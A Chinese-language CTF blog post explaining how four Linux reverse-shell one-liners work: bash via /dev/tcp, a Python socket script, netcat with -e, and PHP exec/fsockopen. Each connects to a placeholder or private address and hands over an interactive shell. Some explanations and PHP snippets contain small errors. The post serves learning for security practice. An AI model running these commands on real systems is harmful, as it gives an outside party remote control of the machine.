3rsh1
/single dog/college student/ctfer
3rsh1's Blog

linux反弹shell的几种方式和理解

本文的大部分内容都是参考以下的这篇文章的:

https://www.freebuf.com/articles/system/178150.html

如果以后有新的姿势的话,还会继续补充的。

方法1

bash -i >& /dev/tcp/ip/port 0>&1

啥意思呢,先看几个知识点:
linux下有三个标准的文件描述符:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
>&

如果后面接文件的话,这个符号的意思是将标准输出和错误输出重定向至文件,若是后面接的是文件描述符的话,表示将前面的文件描述符重定向至后面的文件描述符。bash -i 是新开一个交互式的shell,后面的/dev/tcp/ip/port,因为在linux系统中无论是什么都可以抽象为一个文件,其实这个“文件”代表的是与指定ip和端口的tcp连接,“打开这个文件就相当于发出了一个socket调用,建立一个socket连接”,文章中如是说到。

然后中间的>&作用就是将shell中的标准输入输出和错误输出重新定向至指定的文件,也就是该ip的端口内。然而我们发现后面还有一句0>&1,其实当不加后面的这半句命令的时候我们可以试验一下,我们会发现在shell输入的内容会被传递到监听端口的主机内,而我们需要的是在监听端口的主机中可以执行靶机的命令。那么后面的这句命令的意思就是,将shell中的标准输入重定向至标准输出。因为前句命令是将交互式shell输入重定向至输出,后面的这句命令我们就可以看作将弹过来的shell中的输入重定向至输出,而shell中的重定向输出已经传递给了/dev/tcp/文件,那么就可以实现,我们在监听端口的主机中输入命令,而命令被重定向至/dev/tcp/中的文件,经过靶机的执行之后,将输入和输出传递给我们监听端口的靶机。

我们可以分成几个过程来看,首先shell被重定向至远程主机,本地输入和输出内容都在远程主机回显。之后继续读取后半句命令,标准输入,这里的标准输入是远程主机的输入,是在shell中的输入其实也就是在本地的输入,因为本地输入,远程的输入被重定向至标准输出,也就是本地的输入被重定向至输出,而本地的输入已经被重定向至远程主机了,这样的话,我们在远程主机执行的命令经过一次循环之后,在本地执行完命令之后被回显至远程主机。

方法2

利用python来弹shell。直接给出实例:

python -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('ip',port));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

Socket又称”套接字”,应用程序通常通过”套接字”向网络发出请求或者应答网络请求,使主机间或者一台计算机上的进程间可以通讯。

套接字看起来就像一个适配器一样,应用程序可以通过套接字发送网络请求。

socket.socket([family[, type[, proto]]])
创建一个套接字。
第一个参数:AF_UNIX或者AF_INET
第二个参数:根据是面向连接的还是非连接分为SOCK_STREAM或SOCK_DGRAM
第三个参数:一般不填默认为0.

这里的s.fileno()函数返回套接字的文件描述符,也就是本地的文件描述符,然后将连接的文件描述符分别赋值给本地的文件描述符 1,2,3,也就是说,本地的文件描述符全部都变成了远程的文件描述符,那么是不是可以理解为,我们就可以在远程主机上的输入输出都会被传递到本地来并且执行和回显。其实思考一下,原理和linux命令弹shell差不多。

subprocess.call([,,])
相当于os.system(''),执行命令的函数。作用都是一样的。只不过这里的命令是分部分填入到数组里的。

远程主机如果要连接的话,直接nc监听即可。

首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3。
于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

方法3

直接nc弹shell,这里的要求是本地安装了nc,利用起来有点困难,因为一般的靶机上其实是不会安装nc的,不过还是说一下吧,之前整理过nc的用法。这里直接贴出来好了。

nc -n -v [ip] [port]//连接端口
nc -l -p [port]//监听端口,同时监听的话当然要打开端口,退出这个命令之后就关闭端口。
nc -e /bin/bash 192.168.0.4 7777

n:不进行dns解析,大概意思就是,不把域名解释成ip地址,直接输入ip地址就好。
l:listen 监听 ;p:端口
这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。
若是不支持 -e 的话,可以用如下操作,因为我们的目的就是在本地执行恶意命令然后返回到远程主机嘛:

nc ip port|/bin/bash|ip port 

先练接到远程主机指定的端口,接收远程主机的输入,之后执行输入的命令,输出到本地的7777端口,其实这样的话在远程主机上监听两个端口就可以了。

方法4

直接用php来fantanshell。

php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

直接exec执行系统命令,其实应该也都知道,在命令执行的那一块有几个可以执行系统命令的函数,都可以尝试一下。

php -r 'sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
php -r 'sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

似乎也是开一个套接字的意思,🤔,如果第一条指令看不懂的话,第二条指令和第一条指令是等价的,因为解释过许多遍了,这里就不多做赘述了。
注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。

一些图片后续补充。

发表评论

textsms
account_circle
email

3rsh1's Blog

linux反弹shell的几种方式和理解
本文的大部分内容都是参考以下的这篇文章的: https://www.freebuf.com/articles/system/178150.html 如果以后有新的姿势的话,还会继续补充的。 方法1 bash -i >& /dev/tcp/…
扫描二维码继续阅读
2020-05-28